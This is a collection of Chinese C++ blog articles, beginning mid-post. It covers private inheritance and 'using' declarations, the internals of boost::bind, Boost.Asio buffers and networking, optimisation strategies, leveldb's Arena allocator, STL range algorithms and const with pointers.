Pal 是父亲的密友，拿到父亲所留之物理所当然。然而直接跑去拿儿子的私物，却不合情理。但如果只是拿儿子所继承的父亲遗留之物呢？这是可能的，在很多情况下，也是合情合理的。（可能所留本来就有密友的份）。


好了，如果父亲的密友也有了嫡长子，他去拿该父亲的所留之物呢？这就有点不讲规矩了，密友关系仅存在于父辈两者之间，继承者无论如何也无法去拿上一辈朋友的东西的。


四、私生子的逆袭


从上面的一些例子，可以很明显的看到私生子的惨状，只要私生，祖上的一切接变成 private，几乎没法再传承下去。


幸好 C++ 的社会里倒也公平，提供了一个 using 关键字，让私生子也有了逆袭的机会。如下例：


cpp#include <cstddef>

class Base {
public:
    std::size_t size() const { return n; }
protected:
    std::size_t n;
};

class Derived : private Base {
public:
    using Base::size;
protected:
    using Base::n;
};



所谓私生子的 Derived，原本 size 和 n 都是私有成员，经过 using 声明后，前者为 public，后者为 protected。逆袭成功。




以上皆是对 C++ 面向对象体系中，类内部及继承时成员可见度规则的一些调侃。


祝愿那些还在这个社会体系中混的程序员们，让自己的家族开枝散叶，生生不息~


（更高端的齐家之道，估计还要学习设计模式才好。）


 boost bind 源码剖析

作者：oyjh1986

来源： boost bind 源码剖析



                    
C11/C14 出现了许多漂亮的特性，比如说auto, shared_ptr等。看到这些特性，相信用过boost很多年的童鞋心里暗暗一笑：哥已经爽了XX年了 :)


boost::bind就是boost库中一个很好玩的东西。

它能将各种不同签名的函数或者方法bind成你需要的签名的形式。简单的来说，就是一个bind1st, bind2nd的加强版。

我写这个笔记的目的不在于介绍它的使用。而是为了解开她的面纱，脱掉她的什么什么。因此我先假设大家对它的使用都很熟了。


考察下面一个有趣的例子：


void func(int){
}

void use_func(boost::function<void (int, int) > f)
{
     f(1,2);
}
void test_bind2()
{
    use_func(boost::bind(&func, _1));
}



它能通过编译吗？有运行错误吗？


带着这个问题，来看看它的源码。


boost::bind 要解决的问题


首先从这个问题开始，boost::bind是干嘛的，要解决什么问题呢？

它的本质就是预先把函数指针和参数（包括占位符参数和实际参数）存储起来，等到调用的时候再进行真正的函数调用。

说白了，它就是一个functor。在这句话里涉及到几个关键词，函数指针，参数的存储；调用。

很自然的，我们可以想象它必然是这个样子的：


namespace boost
{
   template<...> // 一大堆的模板，可能的样子是 template< template R, class F, class Arg1, class Arg2...>
   class bind_t : public ... // 一些父类
   {
   public:
      RETURN_TYPE operator() (Arg1 ag, ...) // 几个参数
   private:
      void* func_ptr;
      Args1 arg;
      Args2 ...;
   };
}



上面只是我们的猜测，真正的boost::bind可能跟我们想的不一样。但是它一定要包含：

1) 函数指针存储  ）                           -->  对应我们的Functor ;

2) 参数存储  （占位符，和实际参数)  --> 对应我们的Args ...

3) 调用                                               --> operator()


实现


由于boost::bind是大神写的，肯定代码没有上面的那么丑。让我们一步一步来完善它。


参数存储


我们把参数用一个类型来存储起来，让代码更干净一点。不妨把这个参数类命名为：storage。

由于boost::bind最多支持9个参数的情况，因此对应的，我们可以定义九个类。


template<class A1> struct storage1
{
explicit storage1 (A1 a1) : a1_(a1) {}
A1 a1_;
};

template<class A1, class A2> struct storage2 : public storage1<A1>
{
storage2 (A1 a1, A2 a2) : stroage1<A1>(a1), a2_(a2) {}
A2 a2_;
};
...// 省略storage3... storage9



storage之间用继承可以省掉很多代码。而且会带来其他的方便。


占位符


但是，占位符怎么办呢？我们都知道在boost::bind里，用_1, _2 ...等几个占位符来表示第几个参数等待后续传入。

这些占位符(_1, _2 ...)到底是什么呢？ 在boost/bind/placeholders.hpp里面有这样的定义。


boost::arg<1> _1;
boost::arg<2> _2;
//...



而boost::arg是一个简单的模板类型:


template <int I> struct arg
{
    arg() {}
    ...
};



这样，根据模板参数  的不同，就有了9个不同类型的变量。


加入占位符之后的存储


现在，有了占位符。本质上，它也是一个变量，对应着一个模板类型。

为了区分占位符和普通数据类型，需要对storage做特殊处理。由于storage是一个模板类。因此，特殊处理的方案就是偏特化:


template <int I> struct storage1< boost::arg<I> >
{
...// ???
}



这样每个storage都对应这一个偏特化版本。问题是省略的地方(...)应该填入什么样的代码？

回到偏特化的目的上，偏特化的目的是要让之后函数调用的时候，能准确的根据参数类型(是占位符，还是实参)，选择函数调用的参数。

既然这样，我们需要加入某种机制，使得两种类型，普通类型和特化类型分别返回不同的结果。

C++ trait是一种选择，比如我们可以在普通版本和偏特化版本中加入一个arg_type变量。分别指向不同的类型(T 和arg)。

但boost::bind却不是这样做的。 其成员变量A1 a_。就可以作为一种标志位。

因此这个偏特化版本的完整定义是：


template <int I> struct storage1< boost::arg<I> >
{
    explicit storage1( boost::arg<I> ) {}
    static boost::arg<I> a1_() { return boost::arg<I>(); }
    ...// 省略的部分代码与文档的逻辑无关
}



这样我们就可以定义某种结构来取参数了。

比如在调用的时候，我们可以把传入的参数构造成某种类型，然后在参数调用的过程中，根据返回类型，决定使用a1_还是传入的参数。

注意到，如果该类型是个占位符，boost::bind将a_ 从变量变成了静态函数！达到了节省空间的目的。


现在我们有了一个参数的storage，不妨把它命名为storage1。而boost::bind支持九个参数，storage从一到九的过程是怎样的呢？

继承和组合都能达到我们的目的。boost::bind采用的是继承，storage2继承storage1, storage3继承storage2... 以此类推。如下图示：





采用继承的好处是不仅可以省下许多代码，而且对空间的节省也有一定的好处。


boost::bind将构造boost::bind时，和调用时传入参数"构造的类型"统一起来。

在构造时为存储参数和占位符构造一个storage；在取参数的时候需要传入真正的参数用以取代占位符，把这些参数再构造另一个storage。

当调用触发时，根据前一个storage(构造时)中参数的类型做不同处理：如果是占位符，则从后者中取参数；否则，从前者中取。

这样做，也是行得通的。但是boost::bind采取的方案是一种更优雅的办法。


boost::bind 采取的方案


既然有为占位符而生的boost::arg， 为什么不另外创建一个为普通类型而生的模板类呢？

这个类是value 类。


template<class T> class value
{
public:
    value(T const & t): t_(t) {}
    T & get() { return t_; }
    T const & get() const { return t_; }
    bool operator==(value const & rhs) const
    {
        return t_ == rhs.t_;
    }
private:
    T t_;
};



这样storage模板的类型可能是value， 也可能是boost::arg。

取参数的时候就比较简单了。

假设s_cont 表示构造boost::bind时创建的storage类，而s_call表示调用创建的类。为这个storage加上operator[] 操作符，以storage 1为例:


template <class A1>
struct storage
{
A1 operator[] (boost::arg<1>) const { return a1_; }
template<class T> T & operator[] (_bi::value<T> & v) const { return v.get(); }
...
};



在参数调用的时候，我们只需要


s_call[s_cont::a1]



就能拿到对应的类型。


参数获取


由于取参数的操作与存储无关，可以将这两个职责分离开来。定义listN类，分别接口继承自stroageN，并将operator[]操作符置于其中。

当然，listN不仅仅只有这一个职责，它还有另一个职责，这也是为什么开头部分的代码在调用的时候( f(1, 2) )虽然传入的参数个数不匹配，却能正确的调用的原因。

现在我们可以改写boost::bind，它应该有类似如下的定义:


template <class R, class F, class L>
class bind
{
public:
   bind_t(F f, L const & l): f_(f), l_(l) {}
   ...
private:
   F f_;
   L l_;
};



从引言开始的例子可以看出， boost::bind(&f, _1) 这个明明只有一个参数的Functor，能正确的转换成两个参数的。实际上，只要保证第一个参数（已有）类型匹配，它根本不关心后面跟了多少个参数。

因此，可以猜测，boost::bind 至少实现了九种重载的operator。


  template<class A1> result_type operator()(A1 & a1) const
  {
      list1<A1 &> a(a1);
      ...//
  }
  template<class A1, class A2> result_type operator()(A1 & a1, A2 & a2)
  {
      list2<A1 &, A2 &> a(a1, a2);
      ...//
  }
....



省略的部分是什么样的代码？


现在，boost::bind 参数存储的部分真正的类间关系图如下：



正确的调用


从引言部分的例子可以看到，尽管我们传入 f(10, 20) 以两个参数的方式去调用真正的函数，却没有出错。

这说明，boost::bind能根据函数真正需要参数的类型，而不是调用时传入的类型去匹配正确的调用。

而我们在使用boost::bind的时候，在构造bind的结构时，传入了正确的参数类型！

包含这些正确参数类型的参数保存在内部结构listN 中。因此，只要在listN中实现对应的operator 就能保证正确的调用:


template<class A1, class A2> result_type operator()(A1 & a1, A2 & a2)
{
    list2<A1 &, A2 &> a(a1, a2);
    BOOST_BIND_RETURN l_(type<result_type>(), f_, a, 0)；
}



把注意力放到最后一行代码，可以看到。构造boost::bind时候传入的前期绑定的参数信息保存在l_ 中，函数指针保存在f_ 中。真正调用时候传入的参数信息保存在a 中。

有了这些信息，我们就能保证调用的正确性了。


template<class F, class A> void operator()(type<void>, F & f, A & a, int)
{
    unwrapper<F>::unwrap(f, 0)(a[base_type::a1_], a[base_type::a2_]);
}
...



统一入口


当然，可以看到，我们使用boost::bind的时候，传入的模板参数并不是template< class R, class F, class L> 这三个。因此boost::bind需要定义一系列的接口（对应着九个不同类型的参数个数），并最终返回正确的bind_t类型。

下面是两个参数的一个例子：



 template<class R, class B1, class B2, class A1, class A2>
    _bi::bind_t<R, BOOST_BIND_ST R (BOOST_BIND_CC *) (B1, B2), typename _bi::list_av_2<A1, A2>::type>
    BOOST_BIND(BOOST_BIND_ST R (BOOST_BIND_CC *f) (B1, B2), A1 a1, A2 a2)
{
    typedef BOOST_BIND_ST R (BOOST_BIND_CC *F) (B1, B2);
    typedef typename _bi::list_av_2<A1, A2>::type list_type;
    return _bi::bind_t<R, F, list_type> (f, list_type(a1, a2));
}



它根据调用时候我们使用的参数推导出，函数返回值类型R, Functor类型 R (*f) (B1, B2)，传入的参数类型 A1, A2。


总结


有了前面的这些分析，一些现象就很容易解释了。比如为什么支持 _2, _1 交换顺序等。

至于函数指针保存和调用的部分，代码比较简单；boost::bind为支持成员函数做了特殊处理，因为成员函数的调用实际上是instancePtr->foo(..)，因此需要记录instancePtr信息。这部分代码在bind_mf_cc.hpp 和 mem_fn_template.hpp。

代码比较简单易读，这里就不多做分析了。

最后附上一张内部结构的图，作为本文的结束：



 Boost::Asio库详解

作者：Shihira

来源： Boost::Asio库详解



                    
io_service

所有的异步操作：异步网络读写，异步时钟，都在io_service.run()时进行轮询。有趣的是，io_service在线程利用方面下了很大的功夫，你可以在主线程建立它的实例，但是在多个线程里面run，io_service很擅长于将需要执行的回调函数分配到空闲线程当中。

io_service为了跨平台，不得不在Linux下也实现Proactor模型。再说一遍，Asio的实现是Proactor模型。在Linux普遍是Reactor的情况下模拟出Proactor，作者也是很辛苦啊。run里面同时需要调度来自用户的Handler和来自操作系统的IO请求。

这里有一个Service的概念。Service是从一类IO操作中抽象出来的一些共同的地方。在你调用 socket.async_read之类的操作之后，事实上它将真正跟操作系统打交道的操作托管给了 basic_stream_socket_service。

io_service的调度有多种实现，在 epoll 实现里，作者很机智地把 "有空闲进程" 事件转化为一个水平触发（Level Trigger），这样就可以在等待中醒来，进行调度了。

buffer

库中提供了mutable_buffer和const_buffer两种单个缓冲，以及 mutable_buffers_1和const_buffers_1两种缓冲序列，asio提供了一些操作：


	buffer_cast<char*>(mb)：单个缓冲转成指针


	buffer_size(buf)：取得缓冲区大小


	buffer_copy(bufs, bufd)：缓冲区（包括单个和序列）之间复制尽可能多的元素，它是安全的，不会出现溢出的情况




//`buffer` can wrap nearly everything
vector<char> underlying_buffer(50);
auto buf1 = buffer(underlying_buffer);

char underlying_string[] = "Hello";
auto buf2 = buffer(underlying_string);

buffer_copy(buf2, buf1); // returns 6

std::string s(buffer_begin(buf1), buffer_end(buf1));

streambuf

streambuf是Asio能灵活地异步调控数据的关键。它能自动增长和回收consumed space。在使用的时候有这些要点：


	streambuf分为input sequence和output sequence两部分，这都是继承自std::streambuf的理念。


	用 data()来获取输入序列（常缓冲），prepare(n)来获取输出序列（变缓冲）。


	用 commit(n)来将从输出序列提交到输入缓冲，用 consume(n) 来将输入缓冲中的数据丢弃，代表已经处理完毕。


	read数据的过程：先prepare好固定大小的缓冲区，然后buffer_copy进去一些数据，拷贝了多少数据就commit多少数据。然后再从prepare开始，拷贝到手头上的数据没有了为止。


	streambuf不可拷贝，所以乖乖传引用或者指针吧。




这里有一些文档没有说明但是需要了解的细节：


	自动增长的功能是通过reserve(n)函数管理的，这个函数在overflow和prepare处会调用，用于保证输出缓冲区里有至少n字节的空间。


	缓冲区的大小是没有限制的，max_size一般是size_t能表示的最大数字，相当于内存的极限。


	std::istream(sb).ignore(n)，sb.gbump(n)，sb.consume(n)有相同的效果，但是ignore和consume有防下溢机制。




async_read_xxxx

值得注意的是async_read_until(socket, streambuf, condition, handler)函数，给我们处理数据分段带来了极大的方便。它内建了4种条件决定read到什么时候停止 ：


	出现了某个字符


	出现了某条字串


	符合了某条 Regular Expression


	符合了某条谓词的条件




注意：这里的"出现"指的是streambuf的input sequence中出现，也就是如果原本streambuf中的内容已经符合条件，则async_read_until将立即呼叫回调。
推论：某些库的until是不包含结束符的，比如readLine没有换行符。但是asio是包含的。

using boost::system::error_code;

// this piece of code shows how to read Chunked Tranfer-Encoding
streambuf sbuf;
std::string content;

void chunked_handler(const error_code& ec, std::size_t sz)
{
    std::istream is(sbuf);
    std::size_t chunk_size;

    is >> std::hex >> chunk_size;
    std::assert(is.get() == '\r' && is.get() == '\n');

    async_read(socket, sbuf,
        [chunk_size] (const error_code& ec, std::size_t) {
            return chunk_size + 2 - sbuf.size();}, 
        [chunk_size] (const error_code& ec, std::size_t) {
            std::istream is(sbuf);
            boost::scoped_array<char> cbuf(new char[chunk_size]);

            is.read(cbuf, chunk_size);
            content += std::string(cbuf, chunk_size);

            std::assert(is.get() == '\r' && is.get() == '\n');

            async_read_until(socket, sbuf,
                std::string("\r\n"), chunked_handler); });
}

async_read_until(socket, sbuf,
    std::string("\r\n"), chunked_handler);


Networking

基本上都是ip::tcp里的东西了。acceptor相当于Java里的 ServerSocket，没有任何数据传输的功能，只有作为服务器监听端口接收连接的功能。socket就是一般意义上的socket了，没有什么特别的。iostream 是一个很聪明的设计，你可以用 operator >> 和 operator << 来进行数据传输了，不过是同步阻塞的。这是使用上的一些要点：


	socket::read_some是非阻塞的，socket::async_read_some会立即回调。read some的意义是，有多少读多少，没有就不读直接返回。write_some同理，如果网络不畅导致内核缓冲区满的话，返回0都是有可能的。


	async_***的话很多时候要灵活运用 std::bind了。


	query 中的服务参数service可以是端口或者服务名，定义在/etc/services中。


	socket::connect 仅对一个endpoint进行连接，connect可对迭代器所指示的一系列endpoint进行连接，直到有其中一个成功连接为止。




using boost::system::error_code;

// server: accept
tcp::ip::socket sock(service);
tcp::ip::acceptor acc(service);
tcp::ip::endpoint ep(tcp::ip::v4(), 8080);

acc.async_accpet(sock, eq, [sock] (const error_code&) {
    // new connection handling
});

//client: resolve + connect
tcp::ip::resolver resolver(service);
tcp::ip::resolver::query qurey("www.example.com", "http" /*"80"*/);

resolver.async_resolve(query, [] (
        const error_code& ec,
        tcp::ip::resolver::iterator i) {
    tcp::ip::socket sock(service);

    tcp::ip::async_connect(i, [sock] (
            const error_code& ec,
            tcp::ip::resolver::iterator i) {
        // new connection handling
    });
});
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程序优化的5个方向


80/20法则：程序执行中，80%的时间消耗在20%的代码上。

优化前，我们首先得找到这20%的关键路径；

各种语言都有专门的工具来找到这20%的关键路径，比如C++经常用到的gprof；


参考《C++的性能优化实践》


在关键路径上对耗时的计算进行优化；

主要的优化方向为：

减少重复计算、预先计算、延后计算、降低计算代价、不计算；


减少重复计算


典型的例子如缓存，将之前相同的计算（查数据库，读写文件）存下来，等待下一次继续使用；

适用场景：计算结果有有效期，过段时间后需要再次计算；


预先计算


对于关键路径中比较耗时的计算，预先计算出来，节省每次计算的成本；



	预先计算出对照表

关键路径中需要用到的映射关系对照表，将对照表预先计算，在关键路径中直接取用；


	将计算提前到初始化期间

比如，内存分配耗时，将其提前到初始化的时间分配，建立内存池；


	将计算提前到编译期间

比如：使用常量表达式，在编译期间将最终值计算出来，节省这部分的运行时开销；

相关技术：模版元编程；




适用场景：计算出来的值一直有效，无需再次计算；


延迟计算


将计算耗时延迟到后期，这样，对于异常情况或其它分支情况，在中途就转换，不用再计算；



	有较多分支条件

将最耗时的计算延后，这样，可能很多场景在中途就转到其它分支上，不用计算；


	判断条件中的技巧：a||b a&&b

如果判断条件比较耗时，将更耗时的放在后面计算；这样，对于a||b,当a成立时，b就不用再计算了；延迟计算的好处在于可能可以不用计算；




适用场景：分支条件场景；


降低计算代价


这是通常能想到的最直接的优化手段，如何能够直接降低计算的代价；

- 内存申请从堆上改为栈上

  动态内存分配昂贵，将内存分配从堆上改为栈上；



	降低灵活性，使用自定制版本的函数代替库函数；


	使用更低级的指令或语言改写；

在C++中嵌入汇编语言；

使用SSE2等指令集；


	使用更优的算法或数据结构；

操作STL容器时，STL中的算法一般比自己手写的算法要高效，尽量使用STL的算法来替换我们的手写算法；

参考：
《STL区间成员函数及区间算法总结》
《高效的使用STL》




适用场景：这类优化一般是以降低代码可读性为代价的（STL的除外），用于优化的最后阶段；


不计算


优化的终极方案，不计算；



	业务发现

用不到的业务逻辑，废弃的业务逻辑，仍然存在关键路径中的还在执行的；痛快的删除它；


	却掉临时对象开销

在我们的代码中，可能会有些临时对象是不知不觉的，而消除临时对象，将节省这部分开销；

参考：《消除临时对象》




以上是单线程关键路径的优化，接下来，我们聊聊扩展到多核，在多线程上的优化；


推荐支持


如果你觉得本文对你有所帮助，请点击以下【推荐】按钮, 让更多人阅读；


Posted by: 大CC | 06AUG,2015

博客：blog.me115.com [订阅]

Github：大CC
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引言


陈硕老师曾经说过大部分情况下自己实现一个内存池是没有必要的，我们要相信malloc的作者。但是leveldb的作者也不是凡夫俗子(去google jeff dean 网 上 有 真 相)。leveldb为什么自己实现一个内存池我相信一定有它的道理，虽然这篇文章不大可能道出作者的精妙想法，但还是试着解释清楚程序的基本思路和框架。


基本思想


为什么不用new或者malloc分配内存？



	频繁地分配内存，造成内存碎片化

	new完忘记delete，造成内存泄漏



leveldb的做法：先向系统申请一块大的内存，外部需要申请内存时，先把已有的内存块分配给用户，如果不够用则再申请一块大的内存。当内存池对象析构时，分配的内存均被释放，保证了内存不会泄漏。


源码分析


/util/arena.h和／util/arena.cc 包含了内存池的定义和实现。以下是Arena类的声明。


声明


public:
  Arena();//构造函数
  ~Arena();//析构函数
  char* Allocate(size_t bytes);//分配"bytes"大小的空间并返回指向该地址的指针
  char* AllocateAligned(size_t bytes);//分配“byte”大小的空间，保证字对齐。
  size_t MemoryUsage() const//返回已分配内存的大小（不精确）
private:
  char* AllocateFallback(size_t bytes);//当前内存块的剩余容量不足以支撑所申请内存时，调用此函数
  char* AllocateNewBlock(size_t block_bytes);//使用malloc分配一个新的内存块

  // Allocation state
  char* alloc_ptr_;//指向当前内存块剩余空间的地址
  size_t alloc_bytes_remaining_;//当前内存块剩余容量

  std::vector<char*> blocks_;//存放指向内存块地址的指针，用于析构函数中释放内存

  size_t blocks_memory_;//已分配内存大小

  Arena(const Arena&);//只申明不实现，防止编译器隐式拷贝，详情可自行查询google c++ style
  void operator=(const Arena&);//同上



实现


char* Arena::AllocateFallback(size_t bytes) {
  if (bytes > kBlockSize / 4) {
    char* result = AllocateNewBlock(bytes);
    return result;
  }
  alloc_ptr_ = AllocateNewBlock(kBlockSize);
  alloc_bytes_remaining_ = kBlockSize;

  char* result = alloc_ptr_;
  alloc_ptr_ += bytes;
  alloc_bytes_remaining_ -= bytes;
  return result;



如果申请内存大于块大小的1/4，我们将单独为其申请一块大小正好的新内存块，防止内存块的其他空间被浪费。否则我们将申请固定大小的内存块，并修改状态。


char* Arena::AllocateAligned(size_t bytes) {
  const int align = (sizeof(void*) > 8) ? sizeof(void*) : 8;
//指针大小，由编译器产生的目标平台的指令集决定。譬如说x86就是4，x64就是8 by vczh
  assert((align & (align-1)) == 0);   //确保指针大小为2指数倍
  size_t current_mod = reinterpret_cast<uintptr_t>(alloc_ptr_) & (align-1);//强制类型转换
  size_t slop = (current_mod == 0 ? 0 : align - current_mod);
//可以看作是内存的空隙
  size_t needed = bytes + slop;//填满空隙后所需内存大小
  char* result;
  if (needed <= alloc_bytes_remaining_) {
    result = alloc_ptr_ + slop;//从对齐处开始分配内存
    alloc_ptr_ += needed;
    alloc_bytes_remaining_ -= needed;
  } else {
    //不需要再添空隙，因为该函数永远对齐
    result = AllocateFallback(bytes);
  }
  assert((reinterpret_cast<uintptr_t>(result) & (align-1)) == 0);
  return result;
}



reinterpret_cast为暴力转换，请慎用。

最后看一下MemoryUsage的实现，


size_t MemoryUsage() const {
    return blocks_memory_ + blocks_.capacity() * sizeof(char*);
  }



返回已分配内存块的大小以及指向内存块指针的大小，忽略了Arena其他数据成员的大小，如alloc_ptr_,alloc_bytes_remaining_ 等。


总结


不推荐在实际工程中自己实现一个内存池，因为内置的malloc在一般情况下的性能是非常高的，自己实现的内存池不能保证bugfree并且性能也不一定比内置的malloc强，leveldb的arena实现仅供学习和参考。我猜想由于leveldb需要特殊的字对齐内存分配功能，所以作者用arena实现了定制的内存池。
To be continued


@See You SpaceCowboy
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在这里总结下可替代循环的区间成员函数和区间算法；


相比单元素遍历操作，使用区间成员函数的优势在于：

1）更少的函数调用

2）更少的元素移动

3）更少的内存分配


在区间成员函数不适用的情况下也应该使用区间算法，至少，相比手写循环而言，它更加简单，有效，并且不容易出错；


区间成员函数


区间构造


标准容器都支持区间构造函数：


container::container(InputIterator begin, // 区间的起点
                  InputIterator end); // 区间的终点



例如：


int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };
std::vector<int> myvector (myints, myints+8); 



以上是C++98中常用法，在C++11中，vector可以直接初始化了：


std::vector<int> second ={10, 20, 30, 30, 20, 10, 10, 20};  
或者：
std::vector<int> second ({10, 20, 30, 30, 20, 10, 10, 20});   



区间插入


标准序列容器提供这种形式的insert：


void container::insert(iterator position, // 区间插入的位置
                    InputIterator begin, // 插入区间的起点
                    InputIterator end); // 插入区间的终点



例如：


int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };
std::vector<int> myvector;
myvector.push_back(100);
myvector.insert(myvector.begin(),myints,myints+8); //10 20 30 30 20 10 10 20 100



关联容器也支持区间插入，但由于其插入后的位置由其比较函数来决定，所以没有区间插入的位置这个参数；


区间删除


标准序列容器提供的erase:


iterator container::erase(iterator begin, iterator end); 



c++98的标准关联容器提供的erase为：


void container::erase(iterator begin, iterator end);



序列容器调用erase之后，返回一个迭代器（被删除的那个元素的下一个），

而关联容器的erase删除之后并不返回迭代器.【官方解释说如果实现成序列容器那样返回指向下一个迭代器，会导致无法接收的性能下降】；


这一区别在c++11中终于统一了；c++11中，对关联容器调用erase之后会返回一个迭代器（指向被删除元素的下一个）；


iterator container::erase(const_iterator first, const_iterator last);



区间赋值


所有标准容器提供了区间赋值的成员函数：


void container::assign(InputIterator begin, InputIterator end);



这个函数用于给容器赋值，会替代现有值，并根据需要分配空间；

与copy()算法的区别在于它不需要预先分配空间，并有更高的性能；


int myints[]={10,20,30,40,50,60,70};
std::vector<int> myvector;
myvector.assign(myints,myints+7);



通用区间算法


for_each 区间迭代


for_each:遍历，对每个元素都执行一个动作；

C++98只支持最原始的for循环，很多语言（java、python等）都实现了foreach区间迭代语法，这让C++程序员眼馋了很久；

在没有foreach区间迭代的时代，我们可以用for_each()算法来代替：


例：对每个元素都加5：


void myfunction (int& i) {
    i += 5;
}

std::vector<int> myvector;
myvector.push_back(10);
myvector.push_back(20);
myvector.push_back(30);
for_each(myvector.begin(),myvector.end(),myfunction); //15 25 35



c++11中新增了区间迭代，使得我们对for_each的依赖降低了，使用也更加方便：


for(auto &i : myvector )
{
    i+=5;
}



transform() 区间迭代后新值另存为其它地方


对区间中每个元素执行操作后，将修改后的值写入到新区间中；

可以认为这个是for_each()算法不修改原区间的版本；

还是for_each中的例子：


int addfunction(int i ){
    return i+5;
}

void output (int i) {  // output function
    std::cout << ' ' << i;
}

std::vector<int> myvector;
myvector.push_back(10);
myvector.push_back(20);
myvector.push_back(30);
std::vector<int> bvector;
bvector.resize(myvector.size());
transform(myvector.begin(),myvector.end(),bvector.begin(),addfunction);
//输出
for_each(bvector.begin(),bvector.end(),output); //bvector: 15 25 35



copy() 区间复制


区间复制，一般用于多个容器间的数据传值；

这个算法被用的很普遍，其实，很多使用copy的场景，都可以使用区间成员函数来替代（也建议这么做）；


例：复制数组到vector：


int myints[]={10,20,30,40,50,60,70};
std::vector<int> myvector (7);
std::copy ( myints, myints+7, myvector.begin() );



fill() 区间填充


用一个元素来重复填充区间；

这个算法使用频率较低；

例：用5填充vector前4个元素：


std::vector<int> myvector (8);                       // myvector: 0 0 0 0 0 0 0 0
std::fill (myvector.begin(),myvector.begin()+4,5);   // myvector: 5 5 5 5 0 0 0 0



replace() 区间替换


遍历区间，进行值替换：

例：将以下区间中所有20替换为99：


int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };
std::vector<int> myvector (myints, myints+8);            // 10 20 30 30 20 10 10 20
std::replace (myvector.begin(), myvector.end(), 20, 99); // 10 99 30 30 99 10 10 99



更复杂的版本（使用仿函数）replace_if

例：将以下区间中所有大于20替换为99：


bool bigerThen20 (int i) { return i > 20; }

int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };
std::vector<int> myvector (myints, myints+8);            // 10 20 30 30 20 10 10 20
std::replace_if (myvector.begin(), myvector.end(), bigerThen20, 99); //10 20 99 99 20 10 10 20



由于用到了仿函数，通过replace_if实现的，用for_each()也很容易实现；


remove() 区间删除


从区间中删除指定元素；


int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };
std::vector<int> myvector (myints, myints+8);            // 10 20 30 30 20 10 10 20
std::remove(myvector.begin(), myvector.end(), 20); // 10 30 30 10 10 ? ? ? 



注意，remove并不会真正删除元素，而只是将需要删除的元素放到到最后，同时返回一个新的尾部迭代器，

比如，上述例子中,调用完remove后，vector中的值一般为 //10 30 30 10 10 10 10 20

而如果希望真的删除元素，需要加上成员函数erase()来实现删除 【remove-erase惯用法】：


myvector.erase(std::remove(myvector.begin(), myvector.end(), 20),myvector.end()); // 10 30 30 10 10



unique() 区间去重


从区间中删除相邻相同的元素，同样，这个算法也不会真正的删除元素，而是将待删除的元素移到区间尾部；

使用【unique-erase惯用法】：


int myints[] = {10,20,20,20,30,30,20,20,10};           // 10 20 20 20 30 30 20 20 10
std::vector<int> myvector (myints,myints+9);
std::vector<int>::iterator it;
it = std::unique (myvector.begin(), myvector.end());   // 10 20 30 20 10 ?  ?  ?  ?
myvector.erase(it,myvector.end());
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 C++ Tips 第一回：那个风情万种的const啊！

作者：snowell

来源： C++ Tips 第一回：那个风情万种的const啊！



                    
2013年一月份在别的地方写的博客，现在搬过来。回头看看，那时候的文风还真是有趣呢～




《C++ Primer》这本书带看不看的好多年了。每过一段时间，就拿出来看看。书都折胶了。常看的章节也都泛黄了。但是很多细小但是很重要的点仍然记不住。总是翻看时记得很清楚，但是过一段时间就模糊了。以前总是想把这本厚得跟转头一样的书的要点整理出来，弄成一个很薄很薄的内容。这样每过一段时间就翻出来看看，容易复习。


最近想，为何不整理在微博里呢？这样共享出来，还能给朋友们一起看看。当然，看这些内容的人，我希望你还是要有点相关知识的基础的。因为我不会从零开始。如果没看过《C++ Primer》，就得自己先看看了。


好吧，第一次废话比较多。今天咱们就聊一聊关键字const。


const，大家都知道，表示这个量是个常量，不能变化。也就是说，凡是用它修饰的东西，必须在声明的时候给它初始化，不然这个东西（就是常量）就再也没有被改变的机会了。比如：


const int MAXNUM = 100;



这就表明，MAXNUM在它活在世上这一辈子里（就是生命周期中），就只能是100了。从生到死，始终表里如一，平静如水，毫无变化。


这很简单吧？原本一切都是这么简单，这么美好。但是当const遇到别的东西的时候，一切都开始复杂了，开始让人捉摸不定，让人困惑。就好比人生，自己一个人总是很简单，当你开始恋爱了，有家庭了，有孩子了，一切都变了。就连生活习惯都可能改变了！


一、当简单明了的const遇到万恶的指针，注定会产生峰回路转、曲折离奇的爱情故事


指针，万恶之源。产品里很多的bug，都是来源于指针。什么指针没释放，导致内存溢出啊；什么指针还需要使用，指向的内存空间就被释放了啊。有人说C++和C难学难用的原因之一，就是因为要自己管理指针。这话有点道理。


那么如果const爱上指针，会产生什么呢？可能大家张嘴就能说，当然是“const类型的指针”和“指向const类型的指针”啦！


不过，可能令你很惊讶的是：const和指针之间的体位却有三种！看下面的code：


int a = 1;
int b = 2;
int c = 3;
int d = 4;

int const* p1 = &a;
const int* p2 = &b;
int* const p3 = &c;



你可能会想：为什么会有三种呢？亲！不是只有两种结果吗？这不是真的，p1、p2、p3当中一定有一个是错误的结合！


我告诉你，这三种都是他们合法的爱情的结晶。另外，谁告诉你，相同的结果只能有一种表达方式了？比如无论 是西红柿炒鸡蛋，还是鸡蛋炒西红柿，还是番茄鸡蛋，这都是一样一样一样的啊！亲！


p1和p2其实是一样的！都是指向const类型的指针，也就是说，不能通过p1和p2,来分别改变a和b的值。不过，庆幸的是，p1和p2在指向一个对象以后，不一定非得一棵树上吊死，它俩还可以指向别的对象。就好像，如果你结婚后对方不能带给你幸福，而自己又无法改变对方。那么，看完这个类型的指针，你就知道了，都什么年代了！你可以离婚去追求自己的幸福啊，亲！


p3是const类型的指针。它一旦指向某一个对象，那么这辈子就只能指向它了。正所谓嫁鸡随鸡，嫁狗随狗。忠贞不二！这是中国男人心目中的好老婆。当然，p3也是好指针。当你和一个老外交谈，说到一个比较好的观点时，对方往往会说，good point！什么意思呢？就是good pointer的口语简化，就是“好指针”的意思！


不过，p3如果看对方不爽，可以改变它！此时，我的脑海里浮现出很多别人老婆的光辉形象，比如俞敏洪的老婆啊，李彦宏的老婆啊。这些老婆们，都是good point！


正所谓龙生九子，各有不同。p1、p2、p3这哥仨，经过const和指针的杂交，在外形和功能上至少有一方面不同，那么我们到底怎么区分呢？


把const想成老婆，把int（或者别的变量类型）想成第三者，那么老婆和你站在同一边的，也就是都在* 号右边的，远离第三者的，就是同甘共苦，荣辱与共，也就是我们所说的好老婆，就是const类型的指针；而老婆和你在* 号两边的，离第三者总比离你近的呢？就是属于同床异梦的，就是指向const类型的指针。正所谓夫妻本是同林鸟，大难临头各自飞。p1和p2的日子不好过啊。


